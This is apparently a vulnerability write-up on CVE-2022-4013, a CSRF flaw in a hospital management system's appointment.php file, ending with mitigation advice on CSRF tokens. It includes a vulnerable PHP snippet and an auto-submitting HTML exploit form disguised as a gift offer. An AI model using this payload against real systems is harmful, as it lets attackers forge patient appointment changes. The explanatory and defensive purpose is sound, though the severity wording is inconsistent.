A newly discovered vulnerability, CVE-2022-4013, poses a significant security threat to Hospital Management Center (HMC) systems. This vulnerability, classified as problematic, impacts the appointment.php file of HMC. The attack vector involves cross-site request forgery (CSRF), which allows attackers to launch the attack remotely. Being a publicly disclosed exploit, CVE-2022-4013 has become a pressing matter and requires immediate attention. This blog post explores the vulnerability in depth, highlighting the original references, code snippet, and exploit details. The associated identifier for this vulnerability is VDB-213787.

Vulnerability Details

The vulnerability in HMC lies in an unknown functionality of the appointment.php file. This file is responsible for handling patient appointment scheduling, modifications, and cancellations. The CSRF vulnerability enables attackers to exploit the system by tricking authenticated users into performing unintended actions, such as scheduling, modifying, or even canceling appointments without their knowledge.

Here is a code snippet illustrating the vulnerability

<?php
// appointment.php

if (isset($_POST['submit'])) {
  $patient_id = $_POST['patient_id'];
  $doctor_id = $_POST['doctor_id'];
  $date = $_POST['date'];
  $time = $_POST['time'];
  
  if (!empty($patient_id) && !empty($doctor_id) && !empty($date) && !empty($time)) {
    // Scheduling, modifying, or canceling an appointment
  }
}
?>

As showcased in the code snippet, the appointment.php file processes appointment requests using POST data inputs. However, no CSRF tokens or other security measures are in place to verify the authenticity of the user input. This oversight leaves the system vulnerable to CSRF attacks.

Exploit Details

To exploit the CSRF vulnerability, attackers would craft a malicious website containing an HTML form designed to perform unintended actions on the HMC system when submitted by an authenticated user. This could be achieved by luring an authenticated user to visit the malicious website and interact with the form without the user's knowledge. Here's an example of a potential CSRF exploit in action:

<!-- csrf_exploit.html -->

<form action="https://hmc.example.com/appointment.php"; method="POST" id="csrfForm">
  <input type="hidden" name="patient_id" value="12345" />
  <input type="hidden" name="doctor_id" value="98765" />
  <input type="hidden" name="date" value="2023-02-15" />
  <input type="hidden" name="time" value="09:00" />
  <input type="submit" value="Claim Your Surprise Gift!" />
</form>

<script>
  document.getElementById('csrfForm').submit();
</script>

This HTML code, when executed by an authenticated user, would send a POST request to the appointment.php file without any indication to the user, potentially performing an undesirable action within the HMC system.

Risk and Mitigation

The potential risks of the vulnerability include unauthorized access to sensitive patient and doctor information, appointment manipulation, and disrupted hospital operations. To mitigate the risk, it is crucial to implement CSRF tokens to validate user inputs and ensure that requests to the appointment.php file come from trustworthy sources.

These tokens can be generated and validated on the server, and included as a hidden field within HTML forms. The server-side should then verify the token upon receiving the POST request, ensuring its legitimacy.

For more information on CVE-2022-4013, please visit the following original sources

1. CVE Details: CVE-2022-4013
2. NVD - CVE-2022-4013
3. VDB-213787

Conclusion

CVE-2022-4013 is a critical CSRF vulnerability within the Hospital Management Center's appointment.php file that poses considerable security risks. It is crucial that affected parties take steps to mitigate this vulnerability by implementing CSRF tokens or other security measures. By addressing this vulnerability, hospitals can protect the privacy and well-being of their patients and staff, safeguarding against unauthorized access and system manipulation.

Timeline

Published on: 11/16/2022 08:15:00 UTC
Last modified on: 11/17/2022 14:56:00 UTC